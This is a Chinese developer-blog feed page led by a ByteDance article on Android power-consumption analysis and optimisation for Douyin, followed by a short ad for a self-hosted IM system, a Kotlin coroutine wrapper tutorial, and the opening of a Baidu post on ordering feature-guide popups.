从功耗评估我们可以判断应用的整体耗电情况,但具体到某个 case 高耗电的原因是什么,就要具体问题选择不同的工具来进行分析了。目前可以直接归因到业务代码的主要是 CPU 相关的工具,这也是我们目前分析问题的主要方向,后续我们也会建设流量归因等能力,下面我列举了常用的分析工具。

Battery Historian

谷歌官方提供的分析工具,需要先进行功耗测试,再通过 adb 抓取 bugreport.zip,再通过网页工具打开,可提供粗粒度的功耗归因。

本质上是对 systemserver 里的各种服务统计信息+手机状态+内核统计信息(kernel 唤醒)的展示,应用耗电的估算依赖厂商配置的 power_profile.xml。比较适合对整机耗电问题做耗电归因,如归因到某应用耗电较高。

对于单个应用,由于对 wakelock,alarm,gps,job,syncservice,后台服务运行时长等统计的比较详细,比较适合做后台耗电的归因。对于网络异常,CPU 异常,只能看到消耗较多,无法归因到具体业务。https://developer.android.com/topic/performance/power/setup-battery-historian?hl=zh-cn

e772a23905e645b55f9cc135090adf41.png fa8dc50ef240559b5528ddaade6bfc11.png

AS Profiler

相比于 BatteryHistorian 需要先手动测试,再 adb 抓取的操作繁琐,AS 自带的 Profiler 提供了 Energy 的可视化展示。使用 debug 版本的应用,可以直观的看到功耗的消耗情况,方便了线下测试。需要注意的是这里展示的功耗值是通过 GPS+网络+CPU 计算的拟合值,并不是真实功耗值,只表征功耗水平。

cd98bf76f3b1f933e32c7aff372deea2.png

Profiler 同步展示了 CPU 使用率,网络耗电,内存信息。支持 CPU 和线程级别的跟踪。通过主动录制 Trace,可以分析各线程的 CPU 使用情况,以及耗时函数。对于容易复现的 CPU 高负载问题或者固定场景的耗时问题,这种方式可以很容易看到根因。但 trace 的展示方式并不适合偶现的 CPU 高负载,信息量特别多反而让人难以抓住重点。

网络耗电可以很方便抓取到上行下行的网络请求,可以展示网络请求的 api 细节,并且划分到线程上。对于频繁的网络访问,很容易找到问题点。但目前只支持通过 HttpURLConnection 和 OkHttp 的网络请求,使用其他的网络库,Profiler 追踪不到。

可以看到官方出品的工具,功能比较完善,但只支持 debug 版本的 app 分析,如果要分析 release 版本的 app,需要使用 root 手机。总体而言,Profiler 比较适合于线下固定某个业务场景的分析。https://developer.android.com/studio/profile/energy-profiler

线程池监控

使用上面的工具监控单个线程的 CPU 异常是可以的。但是对于线程池,Handler,AsyncTask 等异步任务不太容易归因具体的业务,尤其是网络库的线程池,由于执行的网络请求逻辑是一样的,只靠抓线程堆栈是不能归因到具体业务的。需要统计提交任务的源头代码才能抓到真正问题点。

我们可以通过多种机制,如改造线程池,java hook 等,对提交任务方进行了详细记录和聚合,可以帮忙我们分析线程池里的耗时任务。

线上 CPU 异常精准监控

除了线下的 CPU 分析,我们在进行线上 CPU 异常监控的建设时,我们考虑到单纯使用 CPU 使用率阈值不能精准的判断进程是否处于 CPU 异常。比如不同的 CPU 型号本身的性能不同,在某些低端 CPU 上的使用率就是比较高。又比如系统有不同的温控策略,省电策略,会对手机进行限频,对任务进行 CPU 核心迁移。在这种情况下,应用也会有更高的 CPU 使用率。

因此我们基于不同的变量因素(如 CPU 型号,进程/线程的 CPU 时长在不同核,不同频点的分布,充电,电量,内存,网络状态等),将 CPU 的使用阈值进行精细判定,针对不同场景、不同设备、不同业务制定精细化的 CPU 异常阈值,从而实现了高精度的 CPU 异常抓取。

此外还有业界的一些归因框架,在这里不展开介绍了。

  • Facebook BatteryMetrics:从 CPU/IO/Location 等多种归因点采集数据,和系统 BatteryStatsService 的统计行为类似,偏重于线下做 App 的耗电评估和器件分解。

  • WeChat BatteryCanary:提供了线程和线程池归因能力,相对于其他工具,增加前后台,亮灭屏,充放电,前台服务统计的统计。

功耗优化实践

上面介绍了功耗的组成,以及如何分析我们应用的耗电。这里我们对功耗优化做一个整体性介绍。我们把优化思路从器件角度展开,列举我们有哪些优化的思路和措施,可以减少器件的使用情况,进而降低功耗。此外对于一些用户可感知的有损业务的降级,我们通过低功耗模式来做,在低电量时通过更激进的降级手段,缓解用户的电量焦虑,带来用户的使用时长的提升。

下图列举了各器件上的优化思路,有一些优化思路会对多个器件都有收益,在这里没有特别详细的区分,就划分在主要影响的器件上,如减少刷新区域,对 GPU,CPU,DDR 都有收益,主要收益在 GPU 绘制上,在下图里就列举在 GPU 上了。

同时我们列举了厂商侧的一些优化方案,应用通常无需关注,比如降低屏幕刷新率,TP 扫描频率,整机低分辨率等,这种可以通过厂商合作的方式进行更细致的调优,如分场景动态调整屏幕刷新率,在搜索列表场景使用 90HZ 高刷,在短视频场景结合帧率对齐进行刷新率降低为 30HZ,以获得更平衡的功耗和性能体验。

1f476942cd6a859054b7cc944a4ad779.png

DISPLAY

显示功耗的优化主要围绕对屏幕,GPU,CPU,视频解码器,TP 等器件降级使用或者减少处理,尽量使用硬件处理等实现的。对于屏幕而言主要是降低亮度,刷新率,TP 扫描频率等。

屏幕亮度

屏幕亮度是屏幕功耗的最大来源,亮度和功耗几乎是正比的关系,参见下图:

4d4792fb9e17466daaee373eb5b4938c.png

可以看出无论是 IPS 屏幕还是 OLED 屏幕,随着屏幕亮度增加,功耗几乎是线性增加。针对 OLED 屏幕则是白色内容的功耗更高,深色内容则功耗相对更低。应用通用的降低亮度的方式有进入应用后主动降低亮度,或者使用深色的 UI 模式,来达到屏幕亮度降低的效果。厂商会通过 FOSS 或者 CABC 的方案,降低屏幕亮度。

深色模式

利用 AMOLED 屏幕本身的原理,黑色功耗最低,所以可以尽量采用较暗的主题颜色等,最终获取较低的功耗,可以保持用户使用时间更长。

为什么说 AMOLED 屏幕显示黑色界面会消耗更少的电量呢?这要从它与传统的 LCD 屏幕之间的发光原理区别上来说。

LCD 背光显示屏,主要是靠背光层,发光层由大量 LED 灯泡组成,显示白光,通过液晶层偏振控制,显示出 RGB 颜色。在这种情况下,黑色与其它颜色的像素并没有什么不同,虽然看起来并没有光亮,但是依然还是处于发光的状态。

AMOLED 屏幕根本就没有背光一说。相反,每个小的亚像素只是发出微弱的 RGB 光,如果屏幕需要显示黑色,只需要通过调整电压使得液晶分子排列旋转从而遮蔽住背光就可以实现黑色的效果,不会额外点亮任何颜色。

b3011c5e298566b77efc43f7556ce872.png

下面引用测试应用为 Reddit Sync 的不同场景下彩色和黑色模式功耗对比。(参考链接:https://m.zol.com.cn/article/4895723.html#p4

1a00637ae0aec9b084dfdd327cce5028.png

从上面的图表我们可以很清楚的看到,在黑色背景的情况下,AMOLED 屏幕在能耗上的确要比普通颜色背景少了很多,在 Reddit Sync 的测试中,平均耗电量要降低 40%左右。

应用可以设计自己的深色模式主题,同步手机系统深色模式开关的切换。目前抖音背景设置有两种模式如下图,可以看到经典模式就是深色模式,正好对应于深色主题,这个也可以和手机平台的深色模式也结合起来。

bfdfb7a3ebc128fcf1349ecbd609594f.png

FOSS

FOSS (Fidelity Optimized Signal Scaling,保真优化信号缩放)是芯片厂商提供的一种对 AMOLED 屏幕调节的低功耗方案。LCD 屏幕上对应的是 CABC (Content Adaptive Brightness Control,内容适应背光控制)。一方面降低屏幕亮度,一方面调节显示内容灰度值,从而使显示效果差异不大,由于降低了屏幕亮度,所以获取的功耗收益较大。一般大约是 0.2 小时左右,即平均可延长手机使用时间 0.2 小时左右。

已知的情况是厂商的 FOSS 方案在某些参数情况下会导致个别场景出现变色或闪烁问题。如果遇到未确认闪烁问题,在内部定位无法确认原因时,可以跟厂商咨询进行排除。

降低刷新率

目前市面上部分手机支持 60HZ,90HZ,120HZ,144HZ 等,高的刷新率带来了流畅度提高,用户的体验更好,但是功耗更高。通常来讲在系统应用界面比如桌面,设置,刷新率会跟当前系统设置保持一致,而在具体应用中,刷新率会根据不同场景做调整。比如抖音,即使在高刷屏幕上,平台系统一般选择让抖音运行在 60HZ 刷新率,从而相对功耗较低。

针对不同的刷新率,PhoneArena 就做了一个比较有参考性的数据来验证这个观点。他们选取了两个品牌四款产品,都是高刷新率的机型,在同一条件下进行 60Hz 刷新率和 120Hz 刷新率的测试,结果 120HZ 刷新率下手机续航相比 60HZ 下的确缩短了至少 10%,即便是支持 90Hz 的一加 8 也是比 60HZ 刷新率要差。

8536973b5bd8a8a6ae4a8a49df6802f7.png图片来源:https://www.sohu.com/a/394532665_115511

降低 TP 扫描频率

通常游戏中为了提高点击响应速度会提高 TP 扫描频率,其他场景都采用默认的扫描频率。抖音一般使用默认的 TP 扫描帧率。

0d9ed17e32161f4360cf401ea8310ab8.png

GPU

GPU 的优化思路主要在减少不必要的绘制或者降低绘制面积,这体现在更低的分辨率,更低的帧率,更少的绘制图层等方面。此外视频应用使用 SurfaceView 替换 TextureView 也有显著的功耗收益。对于复杂的运算,我们可以选择更高能效比的器件来进行,比如使用硬件绘制代替软件绘制,使用 NPU 代替 GPU 执行复杂算法,对整体功耗都有明显降低。

降低分辨率

应用低分辨率

通常该模式下游戏和特定应用一般以较低分辨率运行。缩小了 GPU 绘制区域和传输区域大小,降低了 GPU 和 CPU 以及传输 DDR 的功耗。功耗收益在游戏场景下比较大,线下测试特定平台下1080p->720p约20mA左右,1440p->720p约40mA左右。

其原理如下,应用图层在低分辨率下绘制,通过 HWC 通道放大到屏幕分辨率并跟其余图层合成后送显。

4c60c3000f5a9b6f89c0db048ca87fc4.png

该功能通常平台侧设置,非游戏应用无需关注,游戏应用可以自己选择设置低分辨率。

部分游戏比如腾讯系游戏(如 QQ 飞车、王者荣耀和和平精英等)内部也有不同分辨率的设置,默认以低分辨率运行,从而可以实现较低功耗。

整机低分辨率

所有应用都运行在低分辨率下。同样也缩小了 GPU 绘制区域和传输区域大小,降低了 GPU 和 CPU 以及传输 DDR 的功耗。功耗收益跟应用低分辨率相同,普通应用在该模式下也有功耗收益。用户从系统设置菜单中切换,应用本身通常无需关注。

其原理如下,所有图层都在低分辨率下绘制,并在低分辨率下进行合成。合成后经过 scaler 一次性放大到屏幕分辨率,然后进行送显。其中 scaler 是放缩硬件,由芯片平台提供。

63cd89e595bb18ebcdd450c3790d67f3.png

减少刷新区域

应用布局动画位置相近,布局出来一个较小的区域,绘制区域最小,刷新区域最小, 从而功耗最低。不同场景,收益不同。

如下图两种情况,可以看到左侧图,有 3 个动画区域(红色框住区域),最终形成的 Dirty 区域为大的红框区域,整个面积较大。而对比中间图,动画两个红色区域,经过运算后形成的 Dirty 大红框区域就较小,GPU 的绘制区域跟刷新的传输区域都较小,从而相对而言,功耗较低。从最右侧功耗数据图中可以看出收益较大。

可以在开发者选项中打开:设置 -> 开发者选项 -> 显示GPU视图更新,当刷新范围与动画范围明显不一致时便是动画布局不合理。这种情况需要具体到代码层面分析写法的问题并修改。

d06086f08a854c23e26f5915c80acca6.png

降低绘制频率

通常在游戏或应用动画中使用,可以降低 GPU 绘制频率和后面的刷新频率。通过降低动画绘制频率,可以降低 GPU,CPU 及 DDR 功耗。

不同帧率功耗情况对比如下,可以看到低帧率下相比高帧率,功耗明显低了很多。

1742f76650bf332f5f075004c989094e.png

在抖音应用中,低绘制帧率可以通过在抖音内部主动降低动画等帧率实现。在抖音推荐界面音乐转盘动画和音符动画中降低帧率,可以显著的降低功耗。此外也可以通过厂商侧提供 soft vsync 实现 30HZ 绘制,这部分抖音与厂商合作,SurfaceFlinger 控制 APP vsync,降帧时 SurfaceFlinger vsync 输出降为 30fps,在特定条件下主动降低帧率,以延长使用时长。

帧率对齐

在抖音推荐页面中,通过视频和降低频率后的动画达到同步,可以实现整个界面以30HZ 绘制和刷新。否则,如果视频30hz和动画30帧正好交错,最终形成的绘制/刷新频率还是60帧,没有达到最优。我们通过调节各种动画的绘制流程,将动画整体绘制对齐,整体帧率明显降低。

减少过度绘制

过度绘制(Overdraw)描述的是屏幕上的某个像素在同一帧的时间内被绘制了多次。在多层次重叠的 UI 结构里面,如果不可见的 UI 也在做绘制的操作,会导致某些像素区域被绘制了多次,同时也会浪费大量的 CPU 以及 GPU 资源。

可以通过如下来调试过度绘制:打开手机,设置 -> 开发者选项 -> 调试 GPU 过度绘制 -> 显示 GPU 过度绘制。过度绘制的存在会导致界面显示时浪费不必要的资源去渲染看不见的背景,或者对某些像素区域多次绘制,就会导致界面加载或者滑动时的不流畅、掉帧,对于用户体验来说就是 App 特别的卡顿。为了提升用户体验,提升应用的流畅性,优化过度绘制的工作还是很有必要做的。

抖音的 feed 页的过度绘制非常的严重,抖音存在 5 层过度绘制。下图左侧是优化前的过渡绘制情况,右侧是优化后的过度绘制情况,可以看出优化后明显改善。

8454fbcbf4b0665e09920339bfa37691.png

使用 SurfaceView 视频播放

TextureView 和 SurfaceView 是两个最常用的播放视频控件。TextureView 控件位于主图层上,解码器将视频帧传递到 TextureView 对象还需要 GPU 做一次绘制才能在屏幕上显示,所以其功耗更高,消耗内存更大,CPU 占用率也更高。

控件位置差异如下,可以看出 SurfaceView 拥有独立的 Surface 位于单独的图层上,而 TextureView 位于主图层上。

a5fa7b5186daac73bbbc885b4a30dfed.png

BufferQueue 是 Android 图形架构的核心,其一侧是生产者,另一侧是消费者。从这方面看,SurfaceView 和 TextureView 的差异如下。容易看出,SurfaceView 流程更短,内存使用更少,也没有 GPU 绘制,功耗更省。

e67e3801ae58fd1e3213375878ab37bf.png

下面是一些 SurfaceView 替换 TextureView 后的收益数据:

  • CPU 数据上看,SurfaceView 要比 TextureView 优化 8%-13%

  • 功耗数据上看,SurfaceView 要比 TextureView 平均功耗低 20mA 左右。

硬件绘制和软件绘制

硬件绘制是指通过 GPU 绘制,Android 从 3.0 开始支持硬件加速绘制,它在 UI 显示和绘制效率方面远高于软件绘制,但是 GPU 功耗相对较高。目前是系统默认的绘制方式。

软件绘制是指通过 CPU 实现绘制,Android 上面使用 Skia 图形库来进行绘制。两者差异参见下图。

c183f4026386b77217d6730df6569dbd.png

目前默认是开硬件加速的,可以通过设置 Activity,Application,窗口,View 等方式来指定软件绘制。如果应用需要单独指定某些场景的软件绘制方式,需要对性能、功耗等做好评估。参考链接:https://developer.android.com/guide/topics/graphics/hardware-accel

复杂算法用 NPU 代替 GPU

现在的较新的 SoC 平台都带有专门进行 AI 运算的 NPU 芯片,使用 NPU 代替 GPU 运行一些复杂算法,可以有效的节省 GPU 功耗。如视频的超分算法,可以给用户带来很好的体验。但是超分开启对 GPU 的耗电影响很大,在某些平台测试整机功耗可以高出 100mA,选择用 NPU 替换 GPU 是一种优化方式。

CPU

CPU 的优化是功耗优化里最常见的,我们遇到的大部分的 CPU 异常都是出现了死循环。这里使用上面介绍过的功耗归因工具,都可以很容易的发现死循环问题。此外高频的耗时函数,效果和死循环类似,很容易让 CPU 大核跑到高频点,带来 CPU 功耗增加。另外一个典型的 CPU 问题,就是动画泄漏,泄漏动画大概能带来 20mA 的功耗增加。

由于 CPU 工作耗电很高,手机平台大多会增加各种低功耗的 DSP 来分担 CPU 的工作,减少耗电,如常见视频解码,使用硬解会有更好的功耗表现。

CPU 高负载优化

死循环治理

死循环是我们遇到的最明显的 CPU 异常,通常表现为某一个线程占满了一个大核。线程使用率达到了 100%,手机会很容易发热,卡顿。

这里举一个实际修复的死循环例子,在一段循环打包日志的代码逻辑里,所有 log打包完了,才会break跳出循环。当db query出现了异常,异常处理分支并没有做break,导致出现了死循环。

// 方法逻辑有裁剪,仅贴出主要逻辑
private JSONArray packMiscLog() {
  do {
      ......
      try {
          cursor = mDb.query(......);
          int n = cursor.getCount();
          ......
          if (start_id >= max_id) {
              break;
          }
      } catch (Exception e) {
      } finally {
          safeCloseCursor(cursor);
      }
  } while (true);
  return ret;
}

对于死循环治理,我们通过实际解决的问题,总结了几种常见的死循环套路。

// 边界条件未满足,无法break
while (true) {
  ...
  if (shouldExit()) {
      break
  }
}

// 异常处理不妥当,导致死循环
while (true) {
  try {
      do someting;
      break;
  } catch (e) {
  }
}

// 消息处理不当,导致Handler线程死循环
void handleMessage(Message msg) {
  //do something
  handler.sendEmptyMessage(MSG)
}

高频耗时函数治理

除了死循环问题,我们遇到的另外一种常见的就是高频的耗时函数。通过线上监控 CPU 异常,我们也找到很多可优化的点。如 md5 压缩算法的耗时,正则表达式的不合理使用,使用 cmd 执行系统命令的耗时等。这种就 case by case 的修复,就有很不错的收益。

后台资源规范使用

Alarm,Wakelock,JobScheduler 的规范使用

最常见的后台 CPU 耗电就是对后台资源的不合理使用。Alarm 的频繁唤醒,wakelock 的长时间不释放,JobScheduler 的频繁执行,都会使 CPU 保持唤醒状态,造成后台耗电。这种行为很容易让系统判断应用为后台异常耗电,通常会被系统清理,或者发出高耗电提醒。

我们可以通过 dumpsys alarm & dumpsys power & dumpsys jobscheduler 查看相关的统计信息,也可以通过 BH 的后台统计来分析自身的使用情况。

参考绿盟的功耗标准,灭屏 Alarm 触发小于过 12 次/h,即 5min 一次,5min 一次在数据业务下可以保证长链接存活,厂商的后台功耗优化也通常会强制对齐 Alarm 为 5min 触发一次。

后台的 Partial Wakelock 通常会被重点限制,非可感知的场景(音乐,导航,运动)等会被厂商强制释放 wakelock。按照绿盟的标准,灭屏下每小时累计持锁小于 5min,从实际经验上看,持 Partial 锁超过 1min 就会被标为 Long 的 wakelock,如果是应用在后台无可感知业务并且频繁持锁,导致系统无法休眠的,系统会触发 forcestop 清理。

d82f1693c177753e4bd577aa2d90a861.png

某些定时任务可以使用 JobScheduler 来替代 Alarm,Job 的好处是可以组合多种触发条件,选择一个最恰当的时刻让系统调度自己的后台任务。这里建议使用充电+网络可用状态下处理自己的后台任务,对功耗体验是最好的。如果是非充电场景下,设置条件频繁触发 job,同样会带来耗电问题。值得一提的是 Job 执行完要及时结束。因为 JobScheduler 在执行时会持有一个job/开头的 wakelock,最长执行时间 10min,如果一直在执行状态不结束,就会导致系统无法休眠。

视频硬解替换软解

硬解通常是用手机平台自带的硬件解码器来做解码从而实现视频播放,基于专用芯片的硬解码速度快、功耗低;软解码方面,通常使用 FFMPEG 内置的 H.264 和 H.265 的软件解码库来做解码。

下表是三星手机和苹果手机分别在软硬解情况下的功耗,可以看出硬解功耗比软解功耗显著降低,目前抖音默认使用硬解。

3bcc9402151f084b9be2a60de357ad3f.png图片来源:http://www.noobyard.com/article/p-eedllxrr-qz.html

NETWORK

网络耗电是应用耗电的一个重要部分,一个数据包的收发,会同步拉动 CPU 和 Modem/WIFI 两大系统。由于 LTE 的 CDRX 特性(即没有数据包接收,维持一定时间的激活态,再进入睡眠,依赖运营商配置,通常为 10s),所以批量进行网络访问,减少频繁的网络唤醒对网络功耗很有帮忙。此外优化压缩算法,减少数据传输量也从基础上减少了网络耗电。

此外弱信号条件下的网络请求会提高天线的功率,也会触发频繁的搜网,带来更高的网络功耗。根据网络质量进行网络请求调度,提前预缓存网络资源,可以减少网络耗电。

长链接心跳优化

对于应用的后台 PUSH 来说,使用厂商稳定的 push 链路替代自己的长链接可以减少功耗。如果不能替换,也可以优化长链接保活的心跳,根据不同的网络条件动态的调整心跳。根据经验,数据业务下通常是 5min,WIFI 网络下通常可以达到 20min 或更久。

抖音对于长链接进行了的心跳优化,进入后台的长链接心跳时间间隔 [4min, 28min],初始心跳 4min。采用动态心跳试探策略,每次步进 2min,确定最大心跳间隔。

Doze 模式适配

由于系统对后台应用有多种网络限制策略,最常见的是 Doze 模式,手机灭屏一段时间后会进入 doze,限制非白名单应用访问网络,并在窗口期解除限制,窗口期为每 10min 放开 30s。所以在后台进行网络访问前要特别注意进行网络可用的判断,选择窗口期进行网络访问,避免因为被限网而浪费了 CPU 资源。

这里举一个 Doze 未适配的后台耗电例子,用户反馈抖音自上次手机充满电(24h)后,没有在前台使用过,耗电占比 31%,分析日志发现 I 在 Doze 限制网络期间,会触发轮询判断网络是否及时恢复,此逻辑在后台未适配 Doze 的窗口期模式,导致了后台频繁尝试网络请求带来的 CPU 耗电。

c43587c8065f16cfa67ed4eb3219e3f1.png

AUDIO

降低音量

音频的耗电最终体现在 Codec 和 SmartPA(连接喇叭的功率放大器)两部分。减少 Audio 耗电最明显的就是减少音频的音量,这直接反应到喇叭的响度上。

用 0-15 级的音量进行测试,可以看到音量对功耗的影响巨大,尤其是超过 10 之后,整体增幅非常巨大。每一级几乎与功耗成百分比上涨。

acce588e8f9b0a18aed0ca2545ac2608.png

  • 10-15 :1:30ma

  • 5-10:1:1.62ma

  • 0-5:1:1.36ma

调整音频参数

由于用户对音量的感受很明显,直接全局降低音量会带来不好的体验。厂商通常会针对不同的场景,设计不同的音频参数,如电影场景,游戏场景,导航场景,动态调节音频的高低频配置参数,兼顾了效果和功耗。

从这个角度出发,可以选择和厂商合作,根据播放视频的内容,精细化调整音频参数,如电影剪辑类型视频就使用电影场景的参数,游戏视频就切换为游戏场景的配置参数,从而达到用户无感调节音量节省功耗的目的。

CAMERA

Camera 是功耗大户,尤其是高分辨率高帧率的录制会带来快速的功耗消耗和温升。经过线下测算,开播场景,Camera 功耗 200mA+,占整机的 25%以上。

优化Camera功耗的思路主要是从业务降级的角度上进行,如降低录制的分辨率,降低录制帧率等。之前抖音直播和生产端都是使用30帧,但最终只使用15帧,在开播端主动下调采集帧率,按需设置帧率为15帧,功耗显著降低了120ma。

SENSOR

sensor 的典型功耗值很低,如我们常用到的 accelerometer(加速度计)的典型功耗只有 180uA。但 sensor 的开启会导致 cpu 的唤醒与负载增加,尤其是在应用退到后台,sensor 的滥用会显著增加待机功耗。可以在低电量时关闭不必要的 sensor,减少耗电。

GPS

精确度,频率,间隔是影响 GPS 耗电的三个主要因素。其中精度影响定位的工作模式,频率和间隔是影响工作时长,我们可以通过优化这三者来减少 GPS 的耗电

降低精度

Android 原生定位提供 GPS 定位和网络定位两种模式。GPS 定位支持离线定位,依靠卫星,没有网络也能定位,精度高,但功耗大,因需要开启移动设备中的 GPS 定位模块,会消耗较多电量。

Network 定位(网络定位),定位速度快,只要具备网络或者基站要求,在任何地方都可实现瞬间定位,室内同样满足;功耗小,耗电量小;但定位精度差,容易受干扰,在基站或者 WiFi 数量少、信号弱的地方定位质量较差,或者无法定位;必须连接网络才能实现定位。

我们可以在满足定位要求的情况下,主动使用低精度的网络定位,减少定位耗电,抖音在进入低功耗模式时,进行了 GPS 降级为网络定位,并且扩大了定位间隔。

降低频率&提高间隔

这里除了业务上主动控制频率与间隔外,还推荐使用厂商的定位服务。为了优化定位耗电,海外 gms 以及国内厂商都提供了位置服务 SDK,本质上是通过系统服务统一管理位置请求,根据电量,信号,请求方的延迟精度要求,进行动态调整,达到功耗与定位需求的平衡。提供了诸如被动位置更新,获取最近一次定位的位置信息,批量后台位置请求等低功耗定位能力。

https://developer.android.com/guide/topics/location/battery https://developer.huawei.com/consumer/cn/doc/development/HMSCore-References/location-description-0000001088559417

低功耗模式

上述的优化措施,有些在常规模式下已经实施。但有一部分是有损用户体验的,我们选择在低电量场景下去做,降低功耗,减少用户的电量焦虑,获得用户在低电量下更多使用时长。

在低功耗模式预研中,我们列举了很多可做的措施,通过 AB 实验,我们去掉了业务负向的降级手段,比如亮度降低,音量降低等。此外在功能触发的策略上,我们通过对比了低电量弹窗提醒,设置里增加开关+Toast 提醒,以及低电量自动进入,最终选择了对用户体验最好的 30%电量无打扰自动进入的触发方式。

06827ecf92bc688522fdc01e1cb31cf5.png

经过实验发现,一些高发热机型,通过低功耗模式全程开启,也可以拿到业务收益。说明部分有损的降级,用户在易发热的情况下也是接受的,可以置换出业务收益,目前低功耗模式线下测试功耗收益稳定在 20mA 以上。

总结

功耗优化是一个复杂的综合课题,既包含了利用工具对功耗做拆解评估,对异常的监控治理,也包含了主动挖掘优化点进行优化。上面列举的优化思路,我们也只是做了部分,还有部分待开展,包括功耗归因的工具建设上,我们也还有很多可以优化的点。我们会持续发力,产出更多的方案,在满足使用需求的前提下,消耗更少的物理资源,给抖音用户带来更好的功耗体验。

作者: 字节跳动技术团队
来源:https://blog.csdn.net/ByteDanceTech/article/details/125109383

收起阅读 »

可部署于windows和Linux的即时通讯系统

系统概况信贸通即时通讯系统,一款跨平台可定制的 P2P 即时通信系统,为电子商务网站及各行业门户网站和企事业单位提供“一站式”定制解决方案,打造一个稳定,安全,高效,可扩展的即时通信系统,支持在线聊天、视频/语音对话、点对点断点续传文件、自定义皮肤等。软件能真...
继续阅读 »

系统概况
信贸通即时通讯系统,一款跨平台可定制的 P2P 即时通信系统,为电子商务网站及各行业门户网站和企事业单位提供“一站式”定制解决方案,打造一个稳定,安全,高效,可扩展的即时通信系统,支持在线聊天、视频/语音对话、点对点断点续传文件、自定义皮肤等。软件能真正无缝与电子商务网站整合,有效提高工作效率,节约成本。同时可根据用户的需求进行二次开发,并提供与其他软件整合或嵌入方案

系统架构
自研协议独立开发,采用高并发go语言开发的即时通讯及历史消息云存储通信系统。系统安全性高可扩展能力强,系统兼容性好。可快速无缝集成到各种应用系统,有效提高开发效率,节约成本。能轻松在线定制客户端。支持多平台客户端实现多端与多设备同步。

私有部署
整个系统部署在您自己的服务器上,可以部署在公网也可以部署在内网中,支持Windows服务和Linux服务器,硬件要求低(主流服务器和云服务器均可运行)。系统独立运行,完全自主管理和监控,最大程度上保障数据安全,避免信息泄露,安全性更高,带来更多的便捷和保障。

定制开发
可根据客户的需求量身定制符合客户实际应用的即时通聊天软件,可控性强、易扩展,系统集成度高。可以快速进行二次开发,简单方便来进行定制管理。

客户端 / 功能
支持windows,安卓,ios,主流浏览器,功能单聊,群聊,消息互通,朋友圈等主流功能,安全可靠。


http://www.51dn.top/wp-content/uploads/2022/04/QQ截图20220407104051-624x315.jpg 624w, http://www.51dn.top/wp-content/uploads/2022/04/QQ截图20220407104051.jpg 671w" sizes="(max-width: 500px) 100vw, 500px" style="vertical-align: baseline; border-radius: 3px; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 4px;">


收起阅读 »

封装Kotlin协程请求,这一篇就够了

协程(coroutines)的封装在默认的Kotlin协程环境中,我们需要自定义协程的作用域CoroutineScope,还有负责维护协程的调度等等,有没有方法可以让协程的使用者屏蔽对底层协程的认识,简单就能使用呢?这里带来了一个封装思路。封装前例子假如我们有...
继续阅读 »

协程(coroutines)的封装

在默认的Kotlin协程环境中,我们需要自定义协程的作用域CoroutineScope,还有负责维护协程的调度等等,有没有方法可以让协程的使用者屏蔽对底层协程的认识,简单就能使用呢?这里带来了一个封装思路。

封装前例子

假如我们有个一个suspend函数

suspend fun getTest():String{
  delay(5000)
  return "11"
}

我们要实现的封装是:

1.执行suspend函数,并且使用者对底层无感知,无需了解协程就可以使用,这就要求我们屏蔽CoroutineScope细节

2.自动类型转换,比如返回String我们就应该可以在成功的回调中自动转型为String

3.成功的回调,失败的回调等

4.要不,来个DSL风格

//
async{
  // 请求
  getTest()

}.await(onSuccess = {
  //成功时回调,并且具有返回的类型
  Log.i("print",it)
},onError = {

},onComplete = {

})

可以看到,编译时就已经将it变为我们想要的类型了! 我们最终想要实现上面这种方式

封装开始

思路:我们自动对请求进行线程切换,使用Dispatchers即可,还有就是我们需要有监听的回调和DSL写法,所以就可以考虑用协程的async方式发起一个请求,返回值是Deferred类型,我们就可以使用扩展函数实现.await的形式!如果熟悉flutter的同学看的话,是不是很像我们的dio请求方式呢!下面是代码,可以根据更细节的需求进行补充噢:

fun <T> async(loader:suspend () ->T): Deferred<T> {
  val deferred = CoroutineScope(Dispatchers.IO).async {
      loader.invoke()
  }
  return deferred
}

fun <T> Deferred<T>.await(onSuccess:(T)->Unit,onError:(e:Exception)->Unit,onComplete:(()->Unit)?=null){
  CoroutineScope(Dispatchers.Main).launch {

      try{          
          val result = this@await.await()    
          onSuccess(result)
           
      }catch (e:Exception){
          onError(e)
      }
      finally {
          onComplete?.invoke()
      }
  }
}

总结

是不是非常好玩呢!我们实现了一个dio风格的请求,对于开发者来说,只需定义suspend修饰的函数,就可以无缝使用我们的请求框架!


作者:Pika
来源:https://juejin.cn/post/7100856445905666079

收起阅读 »

百度程序员Android开发小技巧

本期技术加油站给大家带来百度一线的同学在日常工作中Android 开发的小技巧:Android有序管理功能引导;一行代码给View增加按下态;一行代码扩大 Andriod 点击区域,希望能为大家的技术提升助力!01Android有序管理功能引导随着移动互联网的...
继续阅读 »

本期技术加油站给大家带来百度一线的同学在日常工作中Android 开发的小技巧:Android有序管理功能引导;一行代码给View增加按下态;一行代码扩大 Andriod 点击区域,希望能为大家的技术提升助力!

01Android有序管理功能引导
随着移动互联网的发展,APP的迭代进入了深水区,产品迭代越来越精细化。很多新需求都会添加功能引导,提高用户对新功能的感知。但是,如果每个功能引导都不考虑其它的功能引导View冲突,就会出现多个引导同时出现的情况,非常影响用户体验,降低引导效果。因此,有序管理功能引导View就显得非常重要。

首先,我们需要根据自身的业务场景,梳理不同的引导类型。为了精准区分每一种引导,使用枚举定义。

enum class GuideType {
GuideTypeA,
...
GuideTypeN
}
1.
2.
3.
4.
5.
其次,将这些引导注册到引导管理器GuideManager中,注册方法需要传入引导的类型,显示引导回调,引导是否正在显示回调,引导是否已经显示回调等参数。注册引导实际上就是将引导的根据优先级保存在一个集合中,便于在需要显示引导时,判断此时是否能够显示该引导。

object GuideManager {
private val guideMap = mutableMapOf<Int, GuideModel>()

fun registerGuide(guideType: GuideType,
show: () -> Unit,
isShowing: () -> Boolean,
hasShown: () -> Boolean,
setHasShown: () -> Unit) {
guideMap[guideType.ordinal] = GuideModel(show, isShowing, hasShown, setHasShown)
}
...
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
接下来,业务方调用GuideManager.show(guideType)触发引导的显示。

如果要显示的引导没有注册,则不会显示;

如果要显示的引导正在显示或已经显示,则不会重复显示;

如果当前注册的引导集合中有引导正在显示,则不会显示;

调用show回调,设置已经显示过;

object GuideManager {
...
fun show(guideType: GuideType) {
val guideModel = guideMap[guideType.ordinal] ?: return
if (guideModel.isShowing.invoke() || guideModel.hasShown.invoke()) {
return
}
guideMap.forEach {
if (entry.value.isShowing().invoke()) {
return
}
}
guideModel.run {
show().invoke()
setHasShown().invoke()
}
}
}
1.
2.
3.
4.
5.
6.
7.
